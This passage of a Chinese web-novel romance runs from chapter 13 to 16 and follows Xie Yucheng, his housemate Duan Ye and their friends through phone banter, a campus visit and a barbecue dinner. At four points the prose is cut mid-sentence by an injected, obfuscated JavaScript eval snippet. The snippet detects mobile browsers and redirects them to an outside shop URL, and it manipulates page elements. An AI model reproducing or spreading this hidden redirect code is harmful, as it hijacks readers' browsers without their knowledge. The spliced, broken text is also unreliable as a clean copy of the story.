这种事情过于私密,他当然不喜欢被人堂而皇之地点出来,更何况段也对他还有点误会,这让他有点烦躁不快。 也许是察觉到他情绪不好,段也带着明显的委屈拉了拉他的衣角,额发蔫蔫地搭在眼前,“对不起,哥。” 他语气可怜无辜得很,“我只是很担心,你这么漂亮矜贵的,谁见了不喜欢?这软件上的男人没几个好人,我怕你受欺负。你要真想解决生理需求,你就……你就……” 后半句话段也怎么也没说出来,只抬起头,目光无助地看着他。 谢玉承原是有点恼火的,可段也这幅样子,他心里那股火气瞬间就熄下去了,居然还有点心疼。他抬手在段也的头发上揉了一把,语气柔和地解释说:“没想约,真的。” 段也立马就笑了。 气氛有点尴尬,谢玉承清了清嗓子问道:“那你呢,你下小蓝来干什么?” 段也嘟囔着说:“我一个直男能干什么?好奇啊,随便下着玩玩呗。” 谢玉承提醒道:“别发自己照片上去,私信会炸。” “我不信。”段也嘁了一声。 他把自己刚才的照片随手挂了主页,半个小时后,消息通知噼里啪啦地响起来,私信瞬间99+,内容那叫一个难以直视。 段也胆战心惊地点开一张阅后即焚,吓得差点把手机扔了,脸直接煞白。 头顶传来低低的笑声,谢玉承掩唇笑得停不下来,拿过他手机替他刷着私信。 “其实还不错嘛,你看这个还蛮白净的,人家约你呢,你不回啊?” “回个鸡毛啊!”段也有点炸毛了。 他抢回手机,马不停蹄地直接将app给删了。那些不堪入目的照片中不乏有好看的小0,可那些白花花的肉|体落到眼里时他莫名感觉到一阵恶心。 好像某种生理性的排斥,对同性的身体产生不了任何欲望,反而只会感到恶心反胃,只想逃得越快越好。 他的表情变化被谢玉承看在眼里。 这些照片哪怕是换了董行书,那也是会不自觉多看两眼的,至少不会露出嫌恶的表情。好奇归好奇,不喜欢就是不喜欢,直男是没办法装gay的,这种下意识的生理反应会暴露出他们的本质。 谢玉承在心里戏谑地笑了声。 恰好这时候电话响起来。 这个时间点打过来的电话刺激了段也的脑神经,他像只猫似的又黏上来,在电话接起来的第一秒就嚷嚷起来。 “哥哥,这么晚了,谁给打电话啊?” 手机屏幕上,胖子的脸占据了巨大部分空间,三个男人齐刷刷地咦了一声。 楚深率先骂出声,“恶不恶心啊段老二,装什么纯呢!死绿茶男!” 段也的脸色唰地一下变了,“怎么又是你这个龟儿子?大半夜不睡觉骚扰我哥干嘛?” “不是我哈,是董总监要打电话找你家哥哥调情!”楚深逮哪痛戳哪。 段也:“……” 他转头对谢玉承道:“哥,骚扰电话,挂了吧。” 胖子道:“老谢啊,今儿深儿不太对劲啊,我都下班了他还找上门来喝酒,给人舍长从饭局上拽出来,而且还不叫你!” 董行书咳了声,温柔道:“没打扰你吧?” 谢玉承把手机放在支架上,慢悠悠地拍打着脸上的面膜精华,“没呢,你们仨背着我干嘛?” “深儿失恋了,嘴硬,我想着来问问你知不知道什么内情。”董行书道。 “失个屁的恋!是我不待见她好不好!”楚深愤愤道。 “我知道!”段也眼巴巴凑上来道。 谢玉承一巴掌将他拍出屏幕,“你是说燕妮?” “啥燕妮?”胖子一脸兴奋,“我怎么没听说过这号人物?” “咱乐队新来的姑娘,北方人,又高又飒,看不上老流氓!”段也在屏幕外叫道。 楚深憋不住了,“闭嘴啊你!谢玉承你他妈能不能管管他啊!” “阿也,明天开学,你该上去睡觉了。”谢玉承不咸不淡地说道。 楚深贱嗖嗖地嚷嚷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13628043|142318||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道:“小朋友明天开学!你暑假乐园做完了吗?英语报纸写完了吗?日记周记写了吗?没写完作业明天可是要请家长打屁股的哦~” 段也不说话了,竖了个中指往面前屏幕中间一伸。 谢玉承拍了拍他的腰,示意他上去睡觉。段也不太乐意,可又拗不过,失魂落魄地转身准备上楼。 可走出没几步,他又倒回来,单腿屈膝跪上沙发,身体向下压过来。 谢玉承立马扣了手机,屏住呼吸不敢说话,用眼神询问他这是什么意思。段也的手越过他,取了后面的黑胶。 谢玉承:“……” 他松了口气,可转头又见段也迟迟不动。 两个人之间逼仄的空气让人感到无措,他从段也的眼里看到一丝掠过的笑意。 段也指了指脸上。 谢玉承不太明白,他推着段也道,声音压得很低。 “阿也,乖一点,去睡觉。” 段也笑眯眯地看着他,目光柔和,用脸在他的指尖蹭了蹭,猫儿似的,低低道:“晚安,哥哥。” “晚安,哥哥~”楚深在那头鹦鹉学舌地阴阳怪气。 确定段也已经上去睡觉了,谢玉承低低含笑地揶揄道:“大哥,你们能别欺负我家小孩儿吗?阿也本来就孩子气,你们逗他干什么?” “我操!你居然说他是小孩儿!我看你是恋爱脑犯了吧!” “不至于。”谢玉承说这话时略显心虚。 他倒是想恋爱脑呢,总得先有个过得去的男人,有段过得去的恋爱吧。 段也,段也虽然挺好的。 年轻、好看、高挑、细心、还会哄人。 唯一可惜的是,段也是个直男,每当自己出现那些乱七八糟的情绪时,这个想法就会把他的思绪堵住。 可就像是被海绵堵住的出水口,还是会时不时汩汩溢出来那么几滴。 “哎哟哎哟,某人不至于真喜欢上段老二了吧,真你妈可怕!给你饿坏了!” 楚深常年都看热烈不嫌事大,什么话题他都敢胡乱杜撰。 谢玉承满不在意地说道:“我说深儿,你要不还是先把你和燕妮的事情闹明白再说?我的感情再怎么糟糕,那也比你这个被人睡完了就甩了的好吧。” 胖子惊呼一声,“我操!你们搞这么刺激的?我怎么感觉我已经和你们不是一个世界的了?” “包不是一个世界的好吗?你都要结婚了,别和我们这些单身狗比。”董行书道。 楚深连连称是。 谢玉承轻笑一声道:“单身挺好,谈了恋爱就只能有一个男人,不谈呢,全世界的男人就都是你的。” 楚深:“乖乖,你现在这么通透的吗?” 谢玉承:“换你和段焱谈完,你也能这么通透。” 楚深道:“段也呢?好歹你俩一个是我金主,一个是我穿一条裤子的好基友,要不你俩在一起我给你俩当儿子咋样?” “美得你!”谢玉承现在很想顺着网线过去给他两耳刮子。 他知道楚深说这话是拿他打趣,可心里却还是忍不住去这样想。即便他知道段也是直男,可他又想到人是会变的。 那件事……已经过去那么久了,段也的想法会不会变呢? 那些若即若离的暧昧,那天的玫瑰和约会,他老是会不自觉得想起来。 明知道危险,他还是会产生那么几丝想要去触碰的想法。 段小猫:[哥,你帮我看看我的学生卡在不在黑胶柜子里呢?] 谢玉承举着手机过去,摄像头对准了他的脸。 他打开柜子,在里面翻了翻。 “干嘛呢你?”楚深问。 谢玉承道:“给段小朋友找他的学生卡呢。” “啧啧啧,好甜,要嗑起来了!” 谢玉承抿着唇,单手往里伸了些,指尖碰到什么东西,轻轻将其拽了出来。 屏幕里,楚深见他的表情忽然变得很奇怪,就像是被人从山顶一下子推下去似的,那张漂亮的脸蛋一下子苍白了。 让人陌生又熟悉的包装。 包装上的字像是一条条有了生命的藤蔓,从他的指尖一直缠绕上他的脖子,让他感到无法呼吸。 “瞧你那表情,该不是翻到避孕套了吧?”楚深调侃道。 谢玉承摇了摇头。 “那是什么?”楚深问。 “没什么。”谢玉承的声音中带着微不可闻的沙哑。 只是一盒验孕棒而已。 14.第 14 章 自从A大开学,本就人员密集车辆拥堵的一环变得更加繁忙了,从蓉锦到学校走路只有一站路,段也坚持开了几天车,最后终于妥协于可怕的交通状况,在早高峰时间段选择了和谢玉承一起坐地铁。 他每天除了上课还要做项目,晚上时不时还要玩乐队,时间已经够紧张了,睡眠时间只有四五个小时是常态,自从开学就是一副睡眠不足的状态。 地铁上,段也单手握着扶杆,下巴搭在谢玉承肩上昏昏欲睡。 他高大的身形在拥挤的地铁里隔出了一个小小的空间。 谢玉承靠在墙上,侧过头看段也在早餐包装袋上贴的便签。 [今天也要开心。] 便签上还画了一个猫猫头。 “阿也。”他笑着拍了拍段也的腰,“段小猫,到了。” 段也哼唧了两声,不情不愿地拉着他下车,一路上眼睛半眯着,懒洋洋地拉着他的手不放。 等到了学校门口,段也又靠在他的肩膀上打了个呵欠。 周围人来人往的,谢玉承故意和他拉开点距离,把他推开了些。 段也也没觉得有什么不对,一边犯困一边对他说:“我们乐队之前那个鼓手不是走了吗?正巧燕妮姐来了,我打算最近叫她和我们一起演出。” 谢玉承点点头,轻笑道:“要不说你才是深儿的僚机呢?你俩成天拌嘴,结果你还给他制造机会。” 段也嘀咕道:“谁给他制造机会了?他怎么不给我制造机会?” 他顿了顿,问道:“晚上要一起吃个饭吗?” “不了。”谢玉承道,末了他又加了一句,“阿也,有空没空还是多陪陪自家女朋友,老和gay黏在一起玩,别人会误会你是男同的。” “什么女朋友?”段也揉了揉眼睛,人还迷糊着,“我哪来什么女朋友?” “不管现在有没有,你谈恋爱的时候还是要注意好措施,买验孕棒之前还是多备一点避孕套在家里。”谢玉承在他额头上敲了一下。 段也稍微醒了点,笑得有点乖戾,“我可用不上什么验孕棒,除非男的会怀孕。” “阿也。”谢玉承叹了口气,觉得他越来越小孩子脾气了,“直男装gay,是要被千刀万剐的,我就算了,你在外面这样撩拨别的小男生,万一别人真喜欢上你,你又不喜欢他,别人是会伤心的。” 段也:“哦。” 他抬手看了眼时间,微弓下身,一只手搭在谢玉承肩上。 谢玉承下意识地后退一步,但段也用了点力,将他禁锢在原地,而后凑在他耳边,浅浅呵笑了声,气息温热地喷薄在他耳垂上,一副玩世不恭的样子。 谢玉承掐疼了手心,尽力才让自己表现得正常一点。 “哥哥担心地有点多余了,我肯定没在外面到处撩拨男人,我撩拨的人,只有你一个。” 谢玉承深吸了一口气,在段也正打算逃跑的时候一把拧住他的耳朵。 “疼!疼疼疼!哥!”段也的叫嚷声把周人的注意力吸引了过来。 饶是这样谢玉承也没打算放过。 “段老二。”他把嗓音压得很低,“你就非得贱一下?要真像你这么说,我今天就搬走,以后也别联系了。” 段也歪着头把手举起来,哼唧了老半天,“哎呀,哥,哥,你别这样嘛。怎么动不动就威胁我,我没说我喜欢男的,我直男装gay千刀万剐行了吧?你放心,放一万个心!我要是喜欢你我就天……打……雷……” 他并起三指最后几个子说得慢悠悠地,最后还是没把话说完,歪着头盯着谢玉承,俩人僵持了半晌。 “哥,这种时候你应该哄我,让我不许说这种伤害自己的话。”段也委屈道。 谢玉承抱手道:“说完。” 段也拧起眉头,不情不愿地道:“劈。” 等到谢玉承走了,他揉着耳朵边走边想,怎么谢玉承看起来这么温温柔柔一人,动起手来还能这么狠心呢。就这么怕自己是gay吗?有这么吓人吗? 管你什么千刀万剐电闪雷鸣的。 “劈,劈死我算了,要不然就要喜欢你。”他确认谢玉承没在他身边,这才恶狠狠地小声说道。 · A大的军训持续半个月,眼下还剩下最后一个星期,谢玉承应学院的邀请,过来慰问新一届的学弟学妹。 本来是邀请他来进行一个小小的演讲,但他是个i人,论演讲还是要董行书才在行,而他则是坐在台下给学弟学妹们画了个集体素描。 董行书分享了一些有关大学生活小妙招,顺道还讲了有关毕业后的就业问题。无论是继续深造还是直接就业,对刚入学的大学生来说都是非常遥远的事情,四年的大学生活充满了未知,十八岁的少年们激情澎湃,青春洋溢。 谢玉承已经快忘记自己读大学时候的心情了,那时候,他的大学生涯过得比现在的段也还要忙碌,除开学业外,他还要打两份工,因为得到院长的青睐,他还要抽空参加各种各样的比赛和展览。 大学四年,他从来没睡过一次囫囵觉。 但大三之前,日子即便忙碌他也觉得快乐。直到父亲跑路,债务压在他一个人身上,兼职的钱已经应对不了眼下的状况了。 他本来用来分享日常的社交账号开始公开接单,手机平板上下满了各种各样的接单app。 大四那年,老段在操场上向他告白,他低着头,心里激不起一丝波澜,直到老段向他介绍了一份给杂志画插画的工作,长期合作,报酬丰厚,没有跑单的风险。 他再缺钱的时候也是个体面人,如果老段直接提出给他钱,他是不会接受的。也许是因为雪中送炭,加上他一直没有谈过恋爱,居然也萌生了一点想要试一试的想法。 活动结束,他和董行书一起去院长办公室。 “你讲得那么激情澎湃,听得我都想要再念一次大学了。”谢玉承和他并肩走在绿荫路上。 董行书单手插兜,扶了扶眼镜道:“刚上大学的学生,他们哪里会想那么多,脑子里除了谈恋爱就是谈恋爱。哪像你,大一的时候就满脑子的赚钱。” “那是我条件不好,如果有经济实力,谁不想谈恋爱?”谢玉承自嘲道。 蝉鸣声聒噪,他们前面跑过去几个抱着书的大学生,看样子应该是去图书馆自习的。 “其实你可以保留学籍,等经济宽裕了,还是可以继续读硕博。”董行书道。 谢玉承笑了笑,不置可否。 他读 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13645019|142318||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 美术是为了能赚钱,不继续深造也是为了赚钱。他的学业是院长资助的,照理来说,如果他有点良心,就应该继续在院长名下深造,搞搞学术写写书,最后成为一名传统美术行列中冉冉升起的明星。 可他选择了最市侩的一条路。 他有时候也会觉得对不起院长,但他没办法,债务压得他喘不过气,他做不到一门心思扑在学术上。也是因为了解他的家庭情况,院长当年在得知了他的想法后,也没有再多加劝阻。 办公室内,傅全扑在一大堆教学资料里,老头上了岁数,身形看上去越发矮小了。他是本学年才升任院长的,办公室里的校长铭牌刚刚更换下来。 “我说,这镀金的院长铭牌确实好看哈。”董行书笑着走进去。 傅全抬起头,“去去去,你小子越来越没正形,近朱者赤近墨者黑,叫你少和楚深那家伙混在一起!” 董行书轻咳了声,“院长,是我。” 傅全带上老花镜,“哦,是你啊,我说呢,你以前还是个好孩子,自从上班之后是越来越滑头了。” 谢玉承浅笑了声,“您老也不想想,行书的脑子要是不灵活一点,怎么能这么快当上总监?” “玉承啊,你过来,帮我收拾收拾这些,我出去一趟。”傅全起身道。 学院的一些杂事本来不该由院长亲自来做,可惜上一位助理刚刚离职,暂时还没有合适的人来接管工作,谢玉承只好每天抽空过来帮帮忙。 董行书把买来的礼物放进办公室,“您去哪呢,我陪你去吧。” “用不着,你俩就在这儿等这,几分钟。” 虽说心头狐疑,但董行书没有多问。 几分钟后,一个西装革履的男人走在前面,神色恭敬地替傅全开门。 老头子满面红光,兴高采烈地走进来。 “来来来,玉承,别弄了,快来看看这是谁?” 男人身形出挑,西装前带着一枚北极星胸针,模样生得好看。 谢玉承对他有点眼熟,但一时半会儿没能想起来。 “程总?”董行书率先道,紧赶慢赶地走上去握手。 谢玉承这才想起来,“学长来了?” “你们俩记性倒是好,程善微,现在是美协的理事,学校聘他来做名誉教授。”傅全哈哈大笑,脸上布满了得意的神情。 程善微也是他的得意门生,谢玉承刚入学就听说过他的风云事迹,比如说什么在校期间创业成功,和朋友成立了一家工作室,现在已经是行内有名的大公司了。 董行书点头恭维道:“当然记得,前不久还一起合作过。也是多亏了程总提点,要不然,我的上一个项目还不能完成地这么顺利。” “董总监说这些就有些抬举我了,主要是你的工作能力强,有机会的话我还希望能继续和你们公司合作。” “来来来,都坐都坐。”傅全道。 谢玉承端了茶水来,他今天也带了一款北极星的项链,衬得脖颈又白又长。 “毕业这么多年,玉承看上去比以前还要漂亮了。” 程善微接过他递来的茶,唇角扬起一抹淡淡的笑容,看向他的眼神显得很奇怪,“听说你和段焱快结婚了,婚事筹备地怎么样?” 15.第 15 章 傅全吹了口茶沫,摆摆手道:“他和段家没戏了,上个月分的手。” 闻言,程善微眼中闪过一丝惊讶,随后被某种异样的情绪所掩盖,低低道:“看来我是说错话了,抱歉啊,玉承。” “没事,分手是我提的,两个人不合适,还是分开比较好。”谢玉承坐在离他较远的位置,纤长的手指轻轻摩挲着茶杯,睫毛在眼下打出一片阴影。 “确实,段家情况复杂,段焱那人我以前看就觉得不牢靠,你性子淡,和他在一起过得辛苦,分开是好事。”程善微道。 都是一个圈子里的人,他以前和段焱有过一段时间的合作关系,但因为各种原因,合作被迫终止了。 董行书注意到他的目光,自然是看出点什么来。谢玉承这人光杵那就是在勾引人,以前他不是单身,周围的男人自然不敢太过明目张胆地流露出喜爱,可如今他单了,也不知道有多少人蠢蠢欲动。 “玉承现在的状态看上去比以前好多了,段焱把他管得厉害,平常不让他出门,把他当金丝雀,结果养得又不好。分手之后,整个人容光焕发,比大一刚入学的时候还漂亮。”董行书意味深长道。 他这话一说,果然见程善微的眼中的爱慕更加明显了。 “是,是。”程善微的目光几乎快要黏在他身上。 谢玉承不是傻子,他自然也看得出来,只是不想多说什么。类似的目光他已经见了不知道多少,对于别人的爱慕他常常都假装看不见,只要别人不太过分,其他的他一概接受。 “他早该分手了!”傅全愤愤道:“这不,分手之后啥好事都来了,小程,还不快点把东西给他。” 程善微回过神,赶忙道:“对,我今天是为了给玉承带个好消息,CAC的比赛结果下来了,先发到了我们美协,我看你地址填的是学校,想着顺路给你带过来。” “CAC?”董行书惊诧道:“这不是全球最高级别的插画比赛,玉承什么时候投的稿?我们怎么不知道?” “正巧手里有副画,随手就投了。”谢玉承丝毫也不惊讶。 在众人期待的目光下,他拆开邮件,里面有一张支票。 CAC金奖,一万美刀的奖金,外加作品会选用为全球顶尖的插画杂志封面。 董行书扶额苦笑道:“我说,玉承,你看上去倒是云淡风轻地很,这可是多少人梦寐以求的东西,你一句随手投的,轻飘飘地就把金奖给摘了,让别人怎么想?” 奖金不高,比赛周期长,去年投的稿今年才出结果。 要不是手里正巧有副画,谢玉承也懒得参加。 毕竟参加这类比赛的人都是为了给自己镀金,方便进入大厂工作,他这人在工位上静不下心,因此一直没有到处参加比赛的习惯。 “要是没有得金奖的信心,我也不会投了。”谢玉承淡淡道。 如果这话从别人嘴里说出来,那就会显得十分欠揍,而说这话的人是美院近年来唯一一个保送硕博的优等生,那就显得十分有说服力了。 董行书愣了愣,仿佛间从他身上看到了多年前那个刚入大一时候的谢玉承,美丽,自信,对未来充满了期待。 于别人来说,孤身一人也许是件寂寞悲伤的事情,但对他来说,摆脱了家庭和男朋友,他整个人都脱胎换骨,仿佛再也没有拖累了一般。 “这是我的名片,如果有兴趣和我们公司合作,你可以随时联系我,二十四小时在线。”程善微双手递给他一张黑金名片。 “24小时吗?会不会骚扰到您。”谢玉承揶揄道。 程善微不禁挑了挑眉,“那我很期待您的骚扰。” · 很显然,傅全特地把程善微叫过来不是没道理的,临到程善微走了,小老头终于暴露出真实目的,意思就是撮合他俩,连天吆喝着程善微的好。 董行书感到很无奈,“教授,您能考虑下我的心情吗?” 傅全吹胡子瞪眼地对他道:“你都被玉承拒绝多少次了!该是我劝你别在一棵树上吊死!” 董行书:“……刚才师娘不是叫您回去吃饭?” “光顾着和你们闲扯,这事儿给忘了,行行行,我得回去了。” 两个人一起把他送到公交站台,期间不停地转移话题,想让傅全忘记那茬。但小老头还没糊涂,当然知道他们的目的。 “走了!玉承啊,有好对象你可千万别抗拒,加加微信聊聊天,多认识认识、只是让你认识认识,没说非得让你马上恋爱!” 公交车气门咔地一声合上,傅全抱着包坐在靠窗的位置,拉开窗户冲着外面嚎:“千万别复合啊——!” 车尾气来带一阵热浪,公交车缓慢消失在视野当中,然而人群中仿佛还能听到小老头发自内心的竭力劝告。 这种话,谢玉承早就听出茧子来了。 他是那种不撞南墙不死心的人,无论是分手还是恋爱,是继续学业还是立马投身工作,他都有自己的主意,即便是最为尊敬的长辈拼了命地劝告,他还是会选择遵从自己的内心,不被别人的意见左右。 好听点叫内心坚韧,难听点就是犟。 “教授把你当亲儿子,咱们圈子里gay又多,好不容易盼到你分手,这段日子你可有得烦心了。”董行书调侃说。 “说什么谈恋爱,我现在哪有这个心思?”谢玉承笑不出来,对他来说,眼下唯一的事情就是赚钱,没有比这更重要的了。 “也不是不能有啊,难不成你分手了之后就不谈了?” 董行书看了眼时间,是到该吃饭的点了。学校西门的夜市是大学生的最爱,里面的店大多物美价廉,既然来都来了,他们也打算去逛逛,顺便找家店把晚饭给解决了。 天边燃起火烧云,金灿灿的阳光挥洒在夜市当中,两个人的影子被拉长。多年过去,他们已经褪去了当年的青 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13660213|142318||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 涩。 董行书在门口买了一牙西瓜,照以前的习惯让摊主给他们切成小块放进塑料盒里,边走边吃。 北城和别的超级大都市不同,经济发达但生活氛围比较悠闲,是个让人觉得很舒服的城市。 “听说胖子也打算结婚了,他和他女朋友谈了两年,双方家长都见了面,催着他们办呢。”董行书道。 “是,他们蛮合适的,小文是个好姑娘,应该今年就会找个酒店办了。”谢玉承说。 “羡慕啊。”董行书感叹道。 谢玉承咬了口西瓜,垂眸道:“该胖子享福的。” 董行书把看上去最甜的几块放在他那个方向,“你吃这个,这个看上去甜。” 谢玉承把牙签扔进垃圾桶,“不了,你吃吧。” 董行书盯着那几块西瓜,眸光微微黯淡下来,也不想吃了,扔进了垃圾桶。 “吃李嫂烤肉怎么样?你以前最喜欢的,每次排一两个小时也要吃。”董行书指着一家生意爆满的烤肉店道:“今天千万别排队。” 好消息是,还剩下最后一张空桌。 “吃什么?”侯至问。 “随便。”段也低着头玩手机,没看路。 “那就李嫂!又便宜又好吃!” 侯至看他点头,飞快跑过去,冲着老板喊道:“老哥!来个位置!” “哎哟,不巧,这两位客人比你们先来一步,要不再等等?” 侯至啧了一声,“这么多人,得等多久?” “早呢吧,还没到翻台的时候。”老板道。 “完蛋。”侯志哀嚎一声。 “不过那张是大桌子,你要不问问那桌客人能不能和你们拼一下?” 烤肉的香味飘过来,侯至瞬间开始流口水,一步也走不动了。 “也哥,拼桌不?太他妈香了,我感觉我离开这里就会立马饿死!” 段也蹙眉道:“拼个屁!直接饿死你算了!” “Oh——!no——!”侯至垂头丧气地道:“那走吧,唉。” 他往外走出好几步,看到段也没有跟上来,心下正觉得奇怪,哪知道回过头时却发现,段也已经追着说要拼桌的客人走进去了。 “哥!你今天怎么在呢?”段也冲上去,一下子隔开了董行书。 谢玉承愣了一下,“阿也?” “可以拼桌吗?”段也嘴上在问,其实已经搬开凳子坐下了。 他拉开长条凳,在自己身侧拍了拍,示意谢玉承坐下来。 “我没意见,就是不知道……”谢玉承用眼神询问董行书的意思。 董行书嘴唇微抿,明显不太乐意。 “哥!我快饿死了!真的!一天没吃饭!” 段也一手捂着胃,哎哟连天地叫了一通,一手拉了拉谢玉承的衣角,抬起下巴可怜兮兮地道:“他不同意的话,哥哥该不会是要赶我走吧?” 16.第 16 章 “能再打一碟泡菜吗!谢谢!谢谢!”侯至抹去一嘴的泡菜酱汁,将小料碟举得忒高。 服务生点了火,烤盘上方的吸烟器呼呼运转起来。 段也虚虚含了支烟在嘴里,点燃后夹到谢玉承唇边。 过滤嘴上残留有对方浅浅的体温,谢玉承犹豫了一下,还是接了过来。 “老二对陪酒女的这些动作很是熟悉嘛。”董行书话中有话。 这种行为他在酒吧里看过不少,一般都是陪酒的模子给老板点烟,暧昧又殷勤的示好,总是能把老板哄得心花怒放。 段也支着下巴,烤盘里的白色烟雾顺着吸烟管道网上涌去。 “没吃过猪肉总见过猪跑吧?倒是你,好歹也是半个成功人士,平日里陪客户时不少点过模子吧?” 段也抬起胳膊抵了抵谢玉承,故意拉着嗓音问:“哥,董行书给你点过模子哥没?你喜欢什么类型的?温柔的还是强硬的,那种欲拒还迎的怎么样?” “我那是工作需要。”董行书脸色阴沉。 “这个!这个!五花肉和肥牛全部味道都来一份!”侯至一边点菜一边乐呵呵得道:“老哥,你平常都在哪家酒吧玩?要点模子的话可以找我,男模女模我这儿都能联系,陪同性客人不加收费用哦!” 段也将碗筷拆开来,用热水过了一遍碗筷,唯独漏了董行书的。 “是是是,工作需要,白天人模人样,晚上搂着模子玩得不亦乐乎。YU好玩吧?那地方我也有参股。”段也笑道,明显不怀好意。 董行书眉头微蹙,他昨天晚上正巧去的就是这家叫做YU的夜场。接洽完工作后,客户提出要去夜场放松放松。 这种时候一般都会点几个陪酒的姑娘或者男孩,客人那边不知从哪得知了他的性取向,也给他点了两个长得乖巧的0。 “原来是个大老板啊!幸会幸会!这是我的名片,下次再点的话记得找我哦老板!”侯至忙不迭地递出自己的名片。 董行书莫名感到烦躁,将那张名片扔了以表忠心,“玉承,你知道我不是个爱玩夜场的人,去了也是工作需要,身不由己。” “啧啧啧——”段也扯着谢玉承的衣袖,露出一脸嫌恶的表情,“哥,你看看这个人,带一破金丝眼镜装禁欲系,口口声声说喜欢你,其实背地里玩得比谁都花,死渣男!我们一起鄙视他!” 谢玉承在菜单上加了几个素菜,目光淡淡瞥了一眼落在地上的名片,弓下腰捡起来。 “你们那行要陪客户,这种事情少不了,我能理解。” 董行书皱着眉头解释道:“玉承,你要是介意,以后我就不去了。” “这和我有什么关系?”谢玉承轻笑一声道:“不过就是个喝酒,又不涉及到上床。真要上床,那我只能说,记得戴套。” 董行书端起茶杯强装镇定,听到这句话时冷不防地被呛到了,还是侯至热心肠地给他递纸。 “老板!有生意可别忘了我啊!我叫侯至,现在在‘根据地’做营销,不管你是订台还是点模子都可以找我!” “你!能不能别再吵了!”董行书咬牙切齿地冲他发火。 侯至却也不恼,笑嘻嘻地问他平常喜欢去什么酒吧玩,嘴里不离‘生意’两个字。董行书被他弄得头疼,转头又看见对面那两人聊得火热,心里顿时跟火燎了似的,火辣辣地烦。 “这家店我还第一次来,闻着好香,是你喜欢的?”段也夹起几片肥牛在烤盘上铺平。 谢玉承想放素菜下去,不小心有滴水落进锅里,油花向外飞溅。段也立刻挡在他身前,露出的手腕被溅上几点油,皮肤也不知道烫红了没有。 “我真是,毛毛躁躁的,你疼不疼?”谢玉承拿起湿巾替他擦掉手腕上的油。 皮肤上看不出什么痕迹来,但段也却嘟囔着说疼,非得把手腕凑到他唇边。 “哥,吹吹。” 谢玉承一向拿他没办法,轻轻往他的手腕上吹了几口气。带着体温的微风拂过手腕,像被羽毛挠了一下,脉搏在无形中加快。 他们坐的位置其实是个外摆,但因为桌子之间间隔不大,烤肉散发的热气在四周挥之不去。 谢玉承的脸因为缺氧而微微发红。 段也眯了眯眼睛,低声在他耳边道:“今天好漂亮,是遇到什么高兴的事了吗?” 肥牛在烤盘里滋滋冒着油花。 侯至这时候还在一个劲地推销自己负责的酒吧,“我18岁休学入的行,整条街上最赚钱的那几家我混不进去,也就也哥肯收留我。” “‘根据地’前一个老板在外面欠了债,要把酒吧低价出兑给隔壁夜场的做慢摇吧。知道也哥不仅以市场价给他收购了,还继续做清吧。” “清吧哪有慢摇吧赚钱,老板您说是吧?”侯至一边吃一边说。 董行书揉着太阳穴,“段老二家里有钱,他还没落魄到需要靠一家酒吧谋生。只是这家酒吧,对他来说意义不一样。” “哦?老板,你和也哥很熟啊?”侯至好奇道。 “不熟……”董行书觉得自己的头快炸了,“你能好好吃饭吗?” “那您下次有客户记得叫我啊!绝对给您服务到位!” “……” “包的!” 烟雾隔断了来回的视线。 自从分手后,谢玉承每天都会精心收拾后才出门,可不管什么时候,被人说漂亮都是件很开心的事。谢玉承压着嘴角,给段也碗里夹菜。 “这话也不对。”段也说。 谢玉承疑惑地嗯了一声。 “你一直都这么漂亮,从我见到你第一天起,我就觉得你是我见过最漂亮的男人。” 段也支着下巴,目光在他身上肆意打量,“我记得是在‘根据地’?第一次见你,好像是你们班聚餐吧,你们一那桌十几个人,我在台上一眼就看到你了。” 脑海里闪过一些片段,谢玉承默不作声地想,那次好像是大四,正巧碰上班会,班长组织大家一起去酒吧聚一聚。 都说大四约等于毕业,要考研的考研要工作的工作,不像之前那么闲了。 当时的‘根据地’是民谣的主场,音乐声悠长,特容易让人产生低落的情绪,哪知道驻唱刚唱完,一个穿着潮流的帅哥就抱着电吉他跳上去,那模样和气质都特板正。 “喝了酒,被珊姐推到台上去给她伴奏,半首歌她都没唱完,直接蹲台上吐了,给老板气得那叫一个火冒三丈。”段也笑得前仰后合 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13667512|142318||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 他的手举起来,朝着路过的服务生打了个响指,要了个一次性围裙。 谢玉承眼眸低垂,淡淡道:“好像是有这事儿。” 